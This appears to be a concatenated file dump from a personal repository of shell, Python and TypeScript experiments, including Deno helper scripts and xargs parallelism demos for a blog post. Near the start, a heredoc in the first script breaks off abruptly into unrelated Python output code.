/tools-snapshot/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | new-post() { 11 | local name=$1 12 | local day=${2:-$(date '+%d')} 13 | 14 | # pick the last one alphabetiaclly 15 | for month_dir in blog/201?/??; do 16 | true 17 | done 18 | local path=$month_dir/${name}.md 19 | echo $path 20 | 21 | cat >$path <') 30 | 31 | out('') 32 | for i, line in enumerate(html.splitlines(True)): 33 | if i == 0: 34 | out('$ ') 35 | else: 36 | out('> ') # > PS2 continuation 37 | out(line) 38 | 39 | out('') 40 | 41 | if output: 42 | out('') 43 | out(output.rstrip()) 44 | out('\n') 45 | else: 46 | out('... no output ...\n') 47 | out('') 48 | 49 | 50 | def main(argv): 51 | MultiLineSession(argv) 52 | 53 | # TODO: 54 | # LineByLineSession() 55 | 56 | 57 | if __name__ == '__main__': 58 | try: 59 | main(sys.argv) 60 | except RuntimeError as e: 61 | print >>sys.stderr, 'FATAL: %s' % e 62 | sys.exit(1) 63 | -------------------------------------------------------------------------------- /typescript/README.md: -------------------------------------------------------------------------------- 1 | Type Checking in TypeScript 2 | =========================== 3 | 4 | - `matklad.ts` - Transcription of 5 | 6 | 7 | - `bool-int-andy.ts` - Remove visitor, and report multiple errors with 'errors' 8 | out param. 9 | 10 | ## Bigger Experiment Moved 11 | 12 | To the `oilshell/yaks` repo. 13 | 14 | -------------------------------------------------------------------------------- /typescript/hi.ts: -------------------------------------------------------------------------------- 1 | console.log("hi"); 2 | -------------------------------------------------------------------------------- /typescript/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | download() { 11 | wget https://deno.land/x/install/install.sh 12 | chmod +x install.sh 13 | } 14 | 15 | # Puts it in $HOME/.deno/ 16 | # I prefer ~/install, but OK 17 | 18 | deno() { 19 | ~/.deno/bin/deno "$@" 20 | } 21 | 22 | hi() { 23 | time deno run hi.ts 24 | } 25 | 26 | readonly NERD_FILES='header.ts lex.ts parse.ts transform.ts check.ts eval.ts ops.ts yaks.ts' 27 | 28 | fmt() { 29 | deno fmt --single-quote $NERD_FILES tests.ts 30 | } 31 | 32 | lint() { 33 | local more=',no-unused-vars' 34 | more='' 35 | 36 | deno lint \ 37 | --rules-exclude="prefer-const,no-unreachable,no-fallthrough$more" \ 38 | $NERD_FILES tests.ts 39 | } 40 | 41 | bundle() { 42 | deno bundle yaks.ts bundle.js 43 | } 44 | 45 | check-run() { 46 | local name=$1 47 | 48 | time deno check $name.ts 49 | 50 | echo -- 51 | 52 | time deno run $name.ts 53 | } 54 | 55 | # https://matklad.github.io/2023/08/17/typescript-is-surprisingly-ok-for-compilers.html 56 | matklad-test() { 57 | check-run matklad-test 58 | } 59 | 60 | bool-int-andy-test() { 61 | check-run bool-int-andy-test 62 | } 63 | 64 | tests() { 65 | deno test tests.ts "$@" 66 | } 67 | 68 | count() { 69 | wc -l *.ts 70 | echo 71 | 72 | # The production code 73 | wc -l $NERD_FILES 74 | echo 75 | 76 | # 410 lines! 77 | echo 'Lexing / Parsing / Errors' 78 | wc -l lex.ts parse.ts transform.ts yaks.ts 79 | echo 80 | 81 | # 187 lines 82 | echo 'Logic' 83 | wc -l check.ts eval.ts ops.ts 84 | echo 85 | 86 | echo 'Bundle' 87 | wc -l bundle.js 88 | echo 89 | 90 | echo 'Docs' 91 | wc -l *.md 92 | echo 93 | } 94 | 95 | "$@" 96 | -------------------------------------------------------------------------------- /xargs-ninja/README.md: -------------------------------------------------------------------------------- 1 | xargs-ninja 2 | =========== 3 | 4 | Experiments: 5 | 6 | - xargs -P in Oils 7 | - xargs starts and waits for processes; it does nothing with stdout/stderr 8 | 9 | - Tiny Ninja in Python - Zulip thread 10 | - adding -j4 with multiprocessing.Pool 11 | - Ninja buffers stdout/stderr of processes 12 | - See "Zig progress bar" thread 13 | 14 | - 15 | -------------------------------------------------------------------------------- /xargs-ninja/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # catbrain tests 4 | # 5 | # Usage: 6 | # ./run.sh 7 | 8 | set -o nounset 9 | set -o pipefail 10 | set -o errexit 11 | 12 | ### testing 13 | 14 | hello() { 15 | echo 'alice bob' | xargs -n 1 -- echo hi 16 | } 17 | 18 | gnu-demo() { 19 | seq 3 | xargs -I {} -- sh -c 'echo 0.$1; sleep 0.$1' dummy {} 20 | echo 21 | 22 | seq 5 | xargs -P 2 -I {} -- sh -c 'echo 0.$1; sleep 0.$1' dummy {} 23 | echo 24 | 25 | #return 26 | 27 | # This shows it calls wait4(-1, ...), which is waitpid(-1) 28 | # hm it also calls pipe2() every time, and fcntl? 29 | # why does it do that? Yeah it reads from the pipe too 30 | 31 | # it reads(0, "1\n2\n3\n4\n5\n", ...) all at once 32 | # oh yes then I see the clone() 33 | # But every clone() has fnctl(4, F_SETFD, F_CLOEXEC) and pipe() and read() 34 | 35 | seq 5 | strace -- xargs -P 2 -I {} -- sh -c 'echo 0.$1; sleep 0.$1' dummy {} 36 | } 37 | 38 | my-demo() { 39 | seq 3 | ./xargs.py -I {} -- sh -c 'echo $1; sleep $1' dummy 0.{} 40 | } 41 | 42 | "$@" 43 | -------------------------------------------------------------------------------- /xargs/demo.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Sample code for xargs blog post. 4 | 5 | # https://www.oilshell.org/blog/2021/08/xargs.html 6 | # 7 | # Usage: 8 | # ./demo.sh 9 | # 10 | # Example: 11 | # ./demo.sh do_one 12 | # ./demo.sh do_all 13 | # ./demo.sh do_all_parallel 14 | 15 | set -o nounset 16 | set -o pipefail 17 | set -o errexit 18 | 19 | hello() { 20 | echo 'alice bob' | xargs -n 1 -- echo hi 21 | } 22 | 23 | do_one() { 24 | # Rather than xargs -I {}, it's more flexible to 25 | # use a function with $1 26 | echo "Do something with $1" 27 | cp --verbose $1 /tmp 28 | 29 | sleep 0.5 # to show parallelization 30 | } 31 | 32 | do_all() { 33 | # Call the do_one function for each item. 34 | # Also add -P to make it parallel 35 | cat tasks.txt | xargs -n 1 -d $'\n' -- $0 do_one 36 | } 37 | 38 | preview() { 39 | # Add echo to preview the tasks 40 | cat tasks.txt | xargs -n 1 -d $'\n' -- echo $0 do_one 41 | } 42 | 43 | do_all_parallel() { 44 | cat tasks.txt | xargs -n 1 -d $'\n' -P 2 -- $0 do_one 45 | } 46 | 47 | "$@" # dispatch on $0; or use 'runproc' in Oil 48 | -------------------------------------------------------------------------------- /xargs/tasks.txt: -------------------------------------------------------------------------------- 1 | tasks.txt 2 | demo.sh 3 | --------------------------------------------------------------------------------